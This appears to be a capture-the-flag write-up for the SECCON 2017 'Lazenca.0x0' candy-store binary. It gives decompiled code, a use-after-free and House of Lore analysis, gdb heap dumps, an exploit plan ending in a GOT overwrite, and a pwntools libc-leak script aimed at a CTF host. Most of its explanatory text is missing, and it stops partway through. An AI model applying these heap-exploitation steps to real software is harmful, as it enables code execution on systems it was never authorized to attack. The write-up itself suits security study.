Online candy store[KR]

Unknown macro: 'html'

List

Infomation

Description

I have opened an online candy store.

Host : lazenca0x0.pwn.seccon.jp
Port : 9999
Lazenca.0x0-9374845c01384f5fc9efdce81437697499640db78523509906f315a1bed5cb3d.zip (pass:seccon2017)

File

- Lazenca.0x0-9374845c01384f5fc9efdce81437697499640db78523509906f315a1bed5cb3d.zip

Source Code

Writeup

File information

```
lazenca0x0@ubuntu:~/Documents/CTF/SECCON2017$ file ./Lazenca.0x0
./Lazenca.0x0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-
linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1bfd795acede916210985e5865d2de9697e7505a, stripped
lazenca0x0@ubuntu:~/Documents/CTF/SECCON2017$ checksec.sh --file ./Lazenca.0x0
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   ./Lazenca.0x0
lazenca0x0@ubuntu:~/Documents/CTF/SECCON2017$
```

Binary analysis (Finding vulnerabilities)

Main

- .
  - setCandy() Candy .
  - login() .
  - login .
    - login .
      - addAccount() .
    - login 3 .
  - login .
    - , , ,
    - gLoginAccountstate 1 "orderMenu", "Account" .

main

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed int state; // [rsp+4h] [rbp-Ch]

  state = 1;
  signal(14, handler);
  alarm(0x1Eu);
  title();
  setCandy();
  gOrderCnt = 0;
  gLoginFailCnt = 0;
  while ( !gLoginAccount )
  {
    if ( (unsigned int)login() )
    {
      gLoginFailCnt = 0;
LABEL_14:
      while ( state && gLoginAccount )
      {
        Menu();
        printf("Command : ");
        switch ( (unsigned int)retNumber(2LL) )
        {
          case 0u:
            state = 0;
            break;
          case 1u:
            printStock();
            break;
          case 2u:
            purchase();
            break;
          case 3u:
            charge();
            break;
          case 4u:
            if ( gLoginAccount->state == 1 )
              orderMenu();
            break;
          case 5u:
            if ( gLoginAccount->state == 1 )
              Account();
            break;
          case 9u:
            logout(2LL);
            break;
          default:
            goto LABEL_14;
        }
      }
    }
    else
    {
      if ( gLoginFailCnt == 2 )
        exit(1);
      ++gLoginFailCnt;
      puts("\nCreate an account?");
      puts("0) Yes\n1) No");
      if ( !(unsigned int)retNumber(2LL) )
        addAccount(3LL);
    }
  }
  return 0LL;
}
```

login()

- .
  - ID,Password .
  - gAccount[] .
  - , gAccount[] "gLoginAccount" .

login()

```
signed __int64 login()
{
  size_t lenUserInputID; // rbx
  size_t lenID; // rax
  size_t lenUserInputPW; // rbx
  size_t lenPW; // rax
  signed int i; // [rsp+Ch] [rbp-34h]
  char id[8]; // [rsp+10h] [rbp-30h]
  char pw[8]; // [rsp+20h] [rbp-20h]
  unsigned __int64 v8; // [rsp+28h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  memset(id, 0, 8uLL);
  memset(pw, 0, 8uLL);
  printf("\nEnter your ID.\n> ", 0LL);
  UserInput(id, 8LL);
  printf("Enter your Password.\n> ", 8LL);
  UserInput(pw, 8LL);
  for ( i = 0; i <= 2; ++i )
  {
    if ( gAccount[i].state )
    {
      lenUserInputID = strlen(id);
      if ( lenUserInputID == strlen(gAccount[i].fd->id) )
      {
        lenID = strlen(gAccount[i].fd->id);
        if ( !strncmp(gAccount[i].fd->id, id, lenID) )
        {
          lenUserInputPW = strlen(pw);
          if ( lenUserInputPW == strlen(gAccount[i].fd->pw) )
          {
            lenPW = strlen(gAccount[i].fd->pw);
            if ( !strncmp(gAccount[i].fd->pw, pw, lenPW) )
            {
              gLoginAccount = (struct ACCOUNT *)(32LL * i + 0x604220);
              printf("\nHi, %s", gAccount[i].fd->id);
              return 1LL;
            }
          }
        }
      }
    }
  }
  return 0LL;
}
```

- .

Struct IDPW, ACCOUNT

```
struct IDPW{
    long empty[2];
    char id[8];
    char pw[8];
    long state;
    char description[88];
};

struct ACCOUNT{
    long state;
    long number;
    struct IDPW *fd;
    long bk;
};
```

addAccount()

- .
    - gAccount[].state '0' .
        - malloc() 128 byte heap .
            - gAccount[i].fd .
            - ID, Password, profile .

addAccount(unsigned int a1)

```
unsigned __int64 __fastcall addAccount(unsigned int a1)
{
  unsigned int i; // [rsp+10h] [rbp-10h]
  signed int empty; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  empty = 1;
  for ( i = 0; i <= 2 && empty; ++i )
  {
    if ( !gAccount[i].state )
    {
      empty = 0;
      gAccount[i].state = a1;
      gAccount[i].number = i + 1;
      gAccount[i].fd = (struct IDPW *)malloc(128uLL);
      gAccount[i].fd->state = 1LL;
      puts("\nEnter your New ID.");
      UserInput(gAccount[i].fd->id, 8LL);
      puts("Enter your New Password.");
      UserInput(gAccount[i].fd->pw, 8LL);
      puts("Enter your profile.");
      UserInput(gAccount[i].fd->description, 88LL);
      gAccount[i].bk = 10000LL;
    }
  }
  if ( empty )
    puts("Could not add user.");
  return __readfsqword(0x28u) ^ v4;
}
```

purchase

- .
    - gStockCnt 0 .
    - gStockCnt 0 .

- (candyInfo[0]), (candyInfo[1]) .
  - , .
- , .
  - reSortStock()
  - setBoard()

purchase()

```
unsigned __int64 purchase()
{
  unsigned int v0; // ST00_4
  unsigned int candyInfo[2]; // [rsp+0h] [rbp-10h]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( gStockCnt )
  {
    puts("Please enter the code number of the candy to be purchased.");
    candyInfo[0] = retNumber(3LL);
    if ( candyInfo[0] < gStockCnt )
    {
      puts("Please enter the number of the candy to purchase.");
      candyInfo[1] = retNumber(3LL);
      if ( gStock[candyInfo[0]]->candyNumber < candyInfo[1] )
      {
        if ( gStock[candyInfo[0]]->candyNumber < candyInfo[1] )
          puts("There is not enough stock.");
      }
      else if ( candyInfo[1] * gStock[candyInfo[0]]->candyPrice > gLoginAccount->bk )
      {
        printf(
          "You do not have enough money.(%ld)\n",
          candyInfo[1] * gStock[candyInfo[0]]->candyPrice,
          *(_QWORD *)candyInfo);
      }
      else
      {
        gStock[candyInfo[0]]->candyNumber -= candyInfo[1];
        if ( !gStock[candyInfo[0]]->candyNumber )
        {
          printf(
            "Thank you for your purchase.(%ld)\n",
            candyInfo[1] * gStock[candyInfo[0]]->candyPrice,
            *(_QWORD *)candyInfo);
          reSortStock(v0);
          setBoard();
        }
      }
    }
  }
  else
  {
    puts("We have not any candy.");
  }
  return __readfsqword(0x28u) ^ v3;
}
```

- .

struct STOCK

```
struct STOCK{
    char candyName[8];
    unsigned int  candyNumber;
    unsigned int  candyPrice;
    char *candyDescription;
};
```

setBoard()

- .
  - malloc() 1200 byte Heap .
  - .

setBoard()

```
unsigned __int64 setBoard()
{
  unsigned __int64 v0; // ST08_8

  v0 = __readfsqword(0x28u);
  puts("Please enter a comment for candy.");
  board = (__int64)malloc(1200uLL);
  UserInput(board, 1200LL);
  return __readfsqword(0x28u) ^ v0;
}
```

charge

- .
  - .
  - "gLoginAccountbk" .

charge()

```
unsigned __int64 charge()
{
  unsigned int chargeInfo[2]; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  chargeInfo[0] = 0;
  puts("Please select the amount to charge.");
  puts("0) 1");
  puts("1) 10");
  puts("2) 100");
  puts("3) 1000");
  puts("4) 10000");
  puts("5) 100000");
  chargeInfo[1] = retNumber(2LL);
  switch ( chargeInfo[1] )
  {
    case 0u:
      chargeInfo[0] = 1;
      break;
    case 1u:
      chargeInfo[0] = 10;
      break;
    case 2u:
      chargeInfo[0] = 100;
      break;
    case 3u:
      chargeInfo[0] = 1000;
      break;
    case 4u:
      chargeInfo[0] = 10000;
      break;
    case 5u:
      chargeInfo[0] = 100000;
      break;
    default:
      break;
  }
  gLoginAccount->bk += chargeInfo[0];
  printf("%ld yen charged.\n", chargeInfo[0], *(_QWORD *)chargeInfo);
  return __readfsqword(0x28u) ^ v2;
}
```

Account()

- **gLoginAccount->state 1 .**
- .
  - .
    - ,
  - .

Account()

```
unsigned __int64 Account()
{
  int tmp; // eax
  signed int i; // [rsp+8h] [rbp-58h]
  signed int control; // [rsp+Ch] [rbp-54h]
  char funcList[3][22]; // [rsp+10h] [rbp-50h]
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  control = 1;
  strcpy((char *)funcList, "Delete account");
  *(_DWORD *)&funcList[0][16] = 0;
  *(_WORD *)&funcList[0][20] = 0;
  strcpy(funcList[1], "Change password");
  *(_DWORD *)&funcList[1][16] = 0;
  *(_WORD *)&funcList[1][20] = 0;
  *(_OWORD *)&funcList[2][0] = (unsigned __int64)'tixE';
  *(_DWORD *)&funcList[2][16] = 0;
  *(_WORD *)&funcList[2][20] = 0;
  while ( control )
  {
    puts("\nAccount.");
    for ( i = 0; i <= 2; ++i )
      printf("%d) %s\n", (unsigned int)(i + 1), funcList[i]);
    printf("Command : ");
    tmp = retNumber(2LL);
    switch ( tmp )
    {
      case 2:
        changePW();
        break;
      case 3:
        control = 0;
        break;
      case 1:
        delAccount();
        break;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}
```

delAccount()

- .
  - gAccount[] .
  - .
  - state '3' .
    - (gAccount[num]) .
      - state = 0
      - fdstate = 0
      - memset(gAccount[num].fd, 0, 0x80uLL);
    - (gAccount[num]) fd (heap) .
  - gAccount[num].fd "gAccount[num].fd - 16" .
    - Free chunk Head .
    - **The House of Lore, UAF .**

delAccount()

```
unsigned __int64 delAccount()
{
  unsigned int i; // [rsp+8h] [rbp-18h]
  unsigned int num; // [rsp+Ch] [rbp-14h] MAPDST
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("\nAccount list");
  for ( i = 0; i <= 2; ++i )
  {
    if ( gAccount[i].state )
      printf("%d) %s\n", gAccount[i].number, gAccount[i].fd->id);
  }
  puts("\nPlease enter the number of the account you want to delete");
  num = retNumber(2LL);
  if ( num && num <= 3 )
  {
    if ( gAccount[--num].state == 3 )
    {
      gAccount[num].state = 0LL;
      gAccount[num].fd->state = 0LL;
      printf("The account(%s) has been deleted.\n", gAccount[num].fd->id);
      memset(gAccount[num].fd, 0, 0x80uLL);
      free(gAccount[num].fd);
      gAccount[num].fd = (struct IDPW *)((char *)gAccount[num].fd - 16);
    }
    else
    {
      puts("You can not delete the account.");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
```

changePW

- .
  - "gAccount[i].state" .
  - .
  - 'gAccount[].fd.state' '0' .

changePW()

```
unsigned __int64 changePW()
{
  unsigned int i; // [rsp+8h] [rbp-18h]
  unsigned int num; // [rsp+Ch] [rbp-14h] MAPDST
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("\nAccount list");
  for ( i = 0; i <= 2; ++i )
  {
    if ( gAccount[i].state )
      printf("%ld) %s\n", gAccount[i].number, gAccount[i].fd->id);
  }
  puts("\nPlease enter the number of the account you want to change PW");
  num = retNumber(2LL);
  if ( num )
  {
    if ( num <= 3 )
    {
      if ( gAccount[--num].fd )
      {
        if ( gAccount[num].fd->state )
        {
          puts("Enter your New Password.");
          UserInput(gAccount[num].fd->pw, 8LL);
        }
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
```

orderMenu()

- **gLoginAccount->state 1 .**
- .
  - .
    - , , ,
  - .

orderMenu()

```
unsigned __int64 orderMenu()
{
  signed int i; // [rsp+8h] [rbp-88h]
  unsigned int control; // [rsp+Ch] [rbp-84h]
  char funcList[5][22]; // [rsp+10h] [rbp-80h]
  unsigned __int64 v4; // [rsp+88h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  control = 1;
  strcpy((char *)funcList, "Order List");
  *(_DWORD *)&funcList[0][16] = 0;
  *(_WORD *)&funcList[0][20] = 0;
  strcpy(funcList[1], "Add to Order List");
  *(_WORD *)&funcList[1][20] = 0;
  *(_QWORD *)&funcList[2][0] = 'o lecnaC';
  *(_QWORD *)&funcList[2][8] = 'o sen';
  *(_DWORD *)&funcList[2][16] = 'redr';
  *(_WORD *)&funcList[2][20] = '.';
  strcpy(funcList[3], "Order candy");
  *(_DWORD *)&funcList[3][16] = 0;
  *(_WORD *)&funcList[3][20] = 0;
  *(_OWORD *)&funcList[4][0] = (unsigned __int64)'tixE';
  *(_DWORD *)&funcList[4][16] = 0;
  *(_WORD *)&funcList[4][20] = 0;
LABEL_11:
  while ( control )
  {
    puts("\nOrder candy.");
    for ( i = 0; i <= 4; ++i )
      printf("%d) %s\n", (unsigned int)(i + 1), funcList[i]);
    printf("Command : ");
    switch ( (unsigned int)retNumber(2LL) )
    {
      case 1u:
        orderList();
        break;
      case 2u:
        addToOrderList();
        break;
      case 3u:
        orderCancel();
        break;
      case 4u:
        orderCandy();
        break;
      case 5u:
        control = 0;
        break;
      default:
        goto LABEL_11;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
```

addToOrderList

- .
  - choiceCandy() .
  - malloc() 24 byte heap .
    - .

addToOrderList

```
unsigned __int64 addToOrderList()
{
  struct ORDER *newOrder; // ST08_8
  unsigned int tmp; // eax
  unsigned int candyNum; // [rsp+4h] [rbp-1Ch]
  char strOrdNum[8]; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( (unsigned int)gOrderCnt > 9 )
  {
    puts("You can not order candy anymore.");
  }
  else
  {
    candyNum = choiceCandy();
    if ( candyNum > 9 )
    {
      puts("Please enter a number between 0 and 9");
    }
    else
    {
      newOrder = (struct ORDER *)malloc(24uLL);
      tmp = getOrderNum();
      sprintf(strOrdNum, "%d", tmp);
      strncpy(newOrder->orderCode, strOrdNum, 1uLL);
      newOrder->orderNumber = gCandies[candyNum]->orderNumber;
      strncpy(newOrder->orderCandyName, gCandies[candyNum]->candyName, 8uLL);
      newOrder->candyCode = gCandies[candyNum]->candyCode;
      gOrderList[gOrderCnt++] = newOrder;
      orderList();
    }
  }
  return __readfsqword(0x28u) ^ v5;
}
```

- .

struct ORDER, CANDIES

```
typedef struct ORDER{
    char orderCode[8];
    unsigned int  orderNumber;
    char orderCandyName[8];
    int  candyCode;
};

typedef struct CANDIES {
    char candyName[8];
    unsigned int  orderNumber;
    int candyCode;
};
```

orderCancel

- .
  - checkCancel(i) , .
  - , .
  - reSort() .

orderCancel()

```
unsigned __int64 orderCancel()
{
  unsigned int i; // [rsp+Ch] [rbp-44h]
  int j; // [rsp+Ch] [rbp-44h]
  int orderCnt; // [rsp+10h] [rbp-40h]
  unsigned int canNum; // [rsp+1Ch] [rbp-34h]
  int cancelableList[10]; // [rsp+20h] [rbp-30h]
  unsigned __int64 v6; // [rsp+48h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  orderCnt = 0;
  if ( gOrderCnt )
  {
    for ( i = 0; i < gOrderCnt; ++i )
    {
      if ( (unsigned int)checkCancel(i) )
      {
        cancelableList[orderCnt++] = i;
        printf("\n=*= Cancelable order (Order number : %d) =*=\n", i);
        printf("Order code: %s\n", gOrderList[i]);
        printf("Order count : %d\n", gOrderList[i]->orderNumber);
        printf("Order candy : %s\n", gOrderList[i]->orderCandyName);
        printf("Candy code: %d\n", (unsigned int)gOrderList[i]->candyCode);
      }
    }
    if ( orderCnt )
    {
      canNum = retNumber(2LL);
      for ( j = 0; j < orderCnt; ++j )
      {
        if ( cancelableList[j] == canNum )
          reSort(canNum);
      }
    }
  }
  else
  {
    puts("You have never ordered a product.");
  }
  return __readfsqword(0x28u) ^ v6;
}
```

reSort

- .
  - free() gOrderList[a1] .

reSort(unsigned int a1)

```
unsigned __int64 __fastcall reSort(unsigned int a1)
{
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  free(gOrderList[a1]);
  if ( a1 < gOrderCnt )
  {
    for ( i = 0; a1 + i < gOrderCnt; ++i )
      gOrderList[a1 + i] = gOrderList[a1 + i + 1];
  }
  gOrderList[gOrderCnt--] = 0LL;
  return __readfsqword(0x28u) ^ v3;
}
```

orderCandy()

- .
  - .
  - getStockNum() gOrderList[] gStock[] .
    - gOrderList[] gStock[] .
      - "gStock[]->candyNumber" "gOrderList[]->orderNumber" .
    - gOrderList[] gStock[] .
      - malloc() 24 byte heap .
      - .
        - , ,
      - 124 byte heap , .
  - gOrderList[] gStock[] , gOrderList[] .

orderCandy()

```
unsigned __int64 orderCandy()
{
  struct STOCK *dest; // ST10_8
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  int num; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( gOrderCnt )
  {
    orderList();
    puts("\nWould you like to order these candies?");
    puts("0) Yes, 1) No");
    if ( !(unsigned int)retNumber(2LL) )
    {
      for ( i = 0; i < gOrderCnt; ++i )
      {
        num = getStockNum(i);
        if ( num )
        {
          gStock[num - 1]->candyNumber += gOrderList[i]->orderNumber;
        }
        else if ( (unsigned int)gStockCnt > 4 )
        {
          puts("The warehouse is full. Your new order can not be completed.");
        }
        else
        {
          puts("\nEnter information about newly added candy.");
          dest = (struct STOCK *)malloc(24uLL);
          strncpy(dest->candyName, gOrderList[i]->orderCandyName, 8uLL);
          dest->candyNumber = gOrderList[i]->orderNumber;
          printf("Enter the price of %s candy.\n", dest);
          dest->candyPrice = retNumber(5LL);
          printf("Enter a description of the %s candy.\n", dest);
          dest->candyDescription = (char *)malloc(124uLL);
          UserInput(dest->candyDescription, 124LL);
          gStock[gStockCnt++] = dest;
        }
      }
      while ( gOrderCnt )
      {
        free(gOrderList[gOrderCnt - 1]);
        gOrderList[gOrderCnt-- - 1] = 0LL;
      }
    }
  }
  else
  {
    puts("You have never ordered a product.");
  }
  return __readfsqword(0x28u) ^ v4;
}
```

Proof of concept

- "House of lore" .
  - .

Fake chunk

- **ACCOUNT** .
  - .
  - 3 ACCOUNT .
    - 'Admin' .
    - 2,3 .

struct ACCOUNT gAccount[3]

0x604220	Admin.state	Admin.number
0x604230	Admin.fd	Admin.bk
0x604240	gAccount[1].state	gAccount[1].number
0x604250	gAccount[1].fd	gAccount[1].bk
0x604260	gAccount[2].state	gAccount[2].number
0x604270	gAccount[2].fd	gAccount[2].bk

- **House of lore Fake chunk .**
  - delAccount() gAccount[1].fd Free chunk Head .
  - charge() gAccount[1].bk, gAccount[2].bk .

Fake chunk

0x604220	Admin.state	Admin.number
0x604230	Admin.fd	Admin.bk
0x604240	gAccount[1].state	gAccount[1].number
0x604250	gAccount[1].fd = Free chunk head	gAccount[1].bk = 0x604268
0x604260	gAccount[2].state	gAccount[2].number
0x604270	gAccount[2].fd	gAccount[2].bk = 0x604240

Overwrite Fd of Fack chunk

- **House of lore Free chunk fd .**
  - delAccount() gAccount[1].fd .
    - gAccount[1].fdid : fd
    - gAccount[1].fdpw : bk
  - Free chunk bk .
- **"gAccount[1].fdstate" '0' .**

gAccount[1].fd

	Create an account		**Delete account**	
gAccount[1].fd	0x8		0x0	
0x0	prev_size	Size of chunk	**Chunk** (long empty[0])	**Chunk size** (long empty[0])
0x10	long empty[0]	long empty[1]	**fd** (char id[8])	**bk** (char pw[8])
0x20	char id[8]	char pw[8]	long state	char description[88]
0x30	long state	char description[88]		

UAF

- **UAF "gAccount[1].fdstate" .**
  - ACCOUNT 128 byte .
  - orderCandy() dest->candyDescription( ) 124 byte.
  - "gAccount[1].fd" "destcandyDescription" .
    - ("destcandyDescription") 16 "gAccount[1].fdstate" .

- .
  - **UAF House of lore ACCOUNT .**
    - , "gAccount[1].fd" "dest->candyDescription" .
  - **"gAccount[1].fd" .**
    - Order list .
      - Order list Heap (24 byte) .
    - Heap (24 byte) .

Structure of Exploit code

1. Leak Libc Address
2. Design the heap.
   a. Create account 1
   b. Create account 2
3. UAF
   a. Set gAccount[1].fdstate
4. House of lore
   a. register bins[16,17]
   b. Overwrite Smallbin bk
5. Overwrite gAccount[1].fd
   a. signal GOT
6. Overwrite fflush.got
   a. One Gadget

- The following information is required for an attack:

- Leak Libc Address
- House of lore
- One Gadget

Information for attack

Leak Libc Address

- **Heap .**
  - 1 Order list , .
  - 2 Order list .

debugging

```
gdb-peda$ parseheap
addr                prev                size                status              fd
bk
0xa17000            0x0                 0x90                Used                None              None
0xa17090            0x0                 0x410               Used                None              None
0xa174a0            0x0                 0x20                Used                None              None
0xa174c0            0x0                 0x20                Used                None              None
0xa174e0            0x0                 0x20                Used                None              None
0xa17500            0x0                 0x20                Used                None              None
0xa17520            0x0                 0x20                Used                None              None
0xa17540            0x0                 0x20                Used                None              None
0xa17560            0x0                 0x20                Used                None              None
0xa17580            0x0                 0x20                Used                None              None
0xa175a0            0x0                 0x20                Used                None              None
0xa175c0            0x0                 0x20                Used                None              None
0xa175e0            0x0                 0x20                Used                None              None
0xa17600            0x100006567         0x20                Used                None              None
0xa17620            0xa17630            0x90                Used                None              None
0xa176b0            0x0                 0x20                Used                None              None
gdb-peda$
```

- **Heap .**

Heap area structure

	Address	State	Heap size	fd	bk
Order list[0]	0xa175e0	A	0x20	None	None
	0xa17600	A	0x20	None	None
	0xa17620	A	0x90	None	None
Order list[1]	0xa176b0	A	0x20	None	None

- **Heap Small bin .**
  - .
    - Heap .
      - (0x90) Unsortedbin .
        - fd, bk main arena .
    - Heap .
      - malloc() (0x20) , (0x90) (0xb0) .
      - malloc() Heap (1200 byte) Small bin .
        - Free chunk fd,bk Small bin .

debugging

```
gdb-peda$ parseheap
addr               prev               size               status             fd
bk
0xa17000           0x0                0x90               Used               None             None
0xa17090           0x0                0x410              Used               None             None
0xa174a0           0x0                0x20               Used               None             None
0xa174c0           0x0                0x20               Used               None             None
0xa174e0           0x0                0x20               Used               None             None
0xa17500           0x0                0x20               Used               None             None
0xa17520           0x0                0x20               Used               None             None
0xa17540           0x0                0x20               Used               None             None
0xa17560           0x0                0x20               Used               None             None
0xa17580           0x0                0x20               Used               None             None
0xa175a0           0x0                0x20               Used               None             None
0xa175c0           0x0                0x20               Used               None             None
0xa175e0           0x0                0x20               Used               None             None
0xa17600           0x100006567        0xb0               Freed     0x7ff5052a2c18    0x7ff5052a2c18
0xa176b0           0xb0               0x20               Used               None             None
0xa176d0           0x100006567        0x4c0              Used               None             None
gdb-peda$ p main_arena.bins[20]
$6 = (mchunkptr) 0xa17600
gdb-peda$ p main_arena.bins[21]
$7 = (mchunkptr) 0xa17600
gdb-peda$
```

- **Heap .**

Heap area structure

	Address	State	Heap size	fd	bk
Order list[0]	0xa175e0	A	0x20	None	None
&	0xa17600	F	0xb0	0x7ff5052a2c18	0x7ff5052a2c18
Order list[1]	0xa176b0	A	0x20	None	None
	0xa176d0	A	0x4c0	None	None

- **Libc address .**
  - 1 Order list .

        - Order list (0xb0) .
    - Order list Libc address .

Leak Libc address

```
Please pick up the candies to order.
>$ 1

=*= Order list =*=
Order code  : 4
Order count : 10
Order candy : Orange
Candy code  : 1

Order code  : 5
Order count : 10
Order candy : Orange
Candy code  : 1

Order code  : 6L\xb0\x0c\x85\x7f
Order count : 10
Order candy : Orange
Candy code  : 1

Order candy.
1) Order List
2) Add to Order List
3) Cancel one's order.
4) Order candy
5) Exit
Command : $
```

debugging

```
gdb-peda$ parseheap
addr                prev                size                status              fd
bk
0xa17000            0x0                 0x90                Used                None              None
0xa17090            0x0                 0x410               Used                None              None
0xa174a0            0x0                 0x20                Used                None              None
0xa174c0            0x0                 0x20                Used                None              None
0xa174e0            0x0                 0x20                Used                None              None
0xa17500            0x0                 0x20                Used                None              None
0xa17520            0x0                 0x20                Used                None              None
0xa17540            0x0                 0x20                Used                None              None
0xa17560            0x0                 0x20                Used                None              None
0xa17580            0x0                 0x20                Used                None              None
0xa175a0            0x0                 0x20                Used                None              None
0xa175c0            0x0                 0x20                Used                None              None
0xa175e0            0x0                 0x20                Used                None              None
0xa17600            0x100006567         0x20                Used
None                      None
0xa17620            0x100006567         0x90                Freed     0x7ff5052a2c18    0x7ff5052a2c18
0xa176b0            0x90                0x20                Used                None              None
0xa176d0            0x100006567         0x4c0               Used                None              None
gdb-peda$ x/4gx 0xa17600
0xa17600:        0x0000000100006567        0x0000000000000021
0xa17610:        0x00007ff5052a2c36        0x6e61724f0000000a
gdb-peda$
```

- **Heap .**

Heap area structure

	Address	State	Heap size	fd	bk
Order list[0]	0xa175e0	A	0x20	None	None
Order list[2]	0xa17600	A	0x20	None	None
& (Unsorted bin)	0xa17620	F	0x90	0x7ff5052a2c18	0x7ff5052a2c18
Order list[1]	0xa176b0	A	0x20	None	None
	0xa176d0	A	0x4c0	None	None

- **Libc address .**

LeakLibcAddress.py

```
from pwn import *
#context.log_level = 'debug'

def login(id,pw):
    p.recvuntil('Enter your ID.')
    p.send(id)
    p.recvuntil('Enter your Password.')
    p.send(pw)

def setOrderlist(num):
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please pick up the candies to order.')
    p.send(num)
    p.recvuntil('Command : ')
    p.send('5')

def getOrderlist():
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('1')

def setOrder(price,desc):
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('0) Yes, 1) No')
    p.send('0')
    p.recvuntil('Enter the price of ')
    p.sendline(price)
    p.recvuntil('Enter a description of the')
    p.send(desc)
    p.recvuntil('Command : ')
    p.send('5')

def purchase(code,num,comment):
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please enter the code number of the candy to be purchased.')
    p.send(code)
    p.recvuntil('Please enter the number of the candy to purchase.')
    p.send(num)
    p.recvuntil('Please enter a comment for candy.')
    p.send(comment)
```

```
bin = ELF('./Lazenca.0x0')
p = remote('n8.pwn.tk.seccon.spica.bz',9999)

login('Admin','admin')

setOrderlist('1')
setOrder('10','TEST')

setOrderlist('1')
setOrderlist('1')

purchase('0','10','AA')

setOrderlist('1')

getOrderlist()

p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
p.recv(1)
tmp = p.recv(5)
tmp = '\x00' + tmp
libcLeak = u64(tmp.ljust(8,'\x00'))
libcBase = libcLeak - 0x3c4c00
execve = libcBase + 0xF0274

log.info("Libc leak : " + hex(libcLeak))
log.info("Libc base: " + hex(libcBase))
log.info("execve : " + hex(execve))

p.recvuntil('Command : ')
p.send('5')
```

House of lore(Fake chunk)

- **"gAccount[1].fd" "dest->candyDescription" .**
  - Heap .
    - Order list 0
    -
  - 2 .

Heap area structure

	Address	State	Heap size	fd	bk
0	0xa175e0	A	0x20	0x0	None
Order list[2]	0xa17600	F	0x20	None	None
0	0xa17620	A	0x90	0xa17600	None
Order list[1]	0xa176b0	F	0x20	None	None
	0xa176d0	A	0x4c0	None	None
gAccount[1].fd	0xA17B90	A	0x90	None	None
gAccount[2].fd	0xA17c20	A	0x90	None	None

- **House of lore Fake chunk .**
  - .
    - 2 : 6308456(0x604268)
    - 3 : 6308416(0x604240)
  - 2 .
- **gAccount[] .**

debugging

```
gdb-peda$ x/8gx 0x604240
0x604240:        0x0000000000000000        0x0000000000000002
0x604250:        0x0000000001a08b90        0x0000000000604268
0x604260:        0x0000000000000003        0x0000000000000003
0x604270:        0x0000000001a08c30        0x0000000000604240
gdb-peda$
```

gAccount area structure

0x604240	gAccount[1].state	gAccount[1].number
0x604250	gAccount[1].fd = 0xA17B90	gAccount[1].bk = 0x604268
0x604260	gAccount[2].state	gAccount[2].number
0x604270	gAccount[2].fd	gAccount[2].bk = 0x604240

- **Heap .**

debugging

```
gdb-peda$ parseheap
addr               prev               size                status              fd
bk
0xa17000           0x0                0x90                Used                None              None
0xa17090           0x0                0x410               Used                None              None
0xa174a0           0x0                0x20                Used                None              None
0xa174c0           0x0                0x20                Used                None              None
0xa174e0           0x0                0x20                Used                None              None
0xa17500           0x0                0x20                Used                None              None
0xa17520           0x0                0x20                Used                None              None
0xa17540           0x0                0x20                Used                None              None
0xa17560           0x0                0x20                Used                None              None
0xa17580           0x0                0x20                Used                None              None
0xa175a0           0x0                0x20                Used                None              None
0xa175c0           0x0                0x20                Used                None              None
0xa175e0           0x0                0x20                Used                None              None
0xa17600           0xa17630                0x20                Freed
0x0                      None
0xa17620           0x100006567        0x90                Used
None                     None
0xa176b0           0x90               0x20                Freed          0xa17600          None
0xa176d0           0x100006567        0x4c0               Used               None              None
0xa17b90           0x0                                0x90                Freed
0x7ff5052a2b78             0x7ff5052a2b78
0xa17c20           0x90                          0x90                Used               None              None
gdb-peda$
```

Heap area structure

	Address	State	Heap size	fd	bk
0	0xa175e0	A	0x20	None	None
Order list[2]	0xa17600	F	0x20	0x0	None
0	0xa17620	A	0x90	None	None
Order list[1]	0xa176b0	F	0x20	0xa17600	None
	0xa176d0	A	0x4c0	None	None
gAccount[1].fd(Unsortbin)	0xA17B90	F	0x90	0x7ff5052a2b78	0x7ff5052a2b78
gAccount[2].fd	0xA17c20	A	0x90	None	None

House of lore(Overwrite Smallbin bk)

- **bk "gAccount[1].fdstate" .**
- **UAF .**
  - Order list , .
    - "destcandyDescription" "gAccount[1].fd + 0x10" .
      - 16 .
  - "gAccount[1].fdstate" .

debugging

```
gdb-peda$ x/6gx 0x0000000002593b90
0xA17B90:       0x0000000000000000      0x0000000000000091
0xa17ba0:       0x4141414141414141      0x4141414141414141
0xa17bb0:       0x4141414141414141      0x0000000000000000
gdb-peda$
```

Heap area structure

	Address	State	Heap size	fd	bk
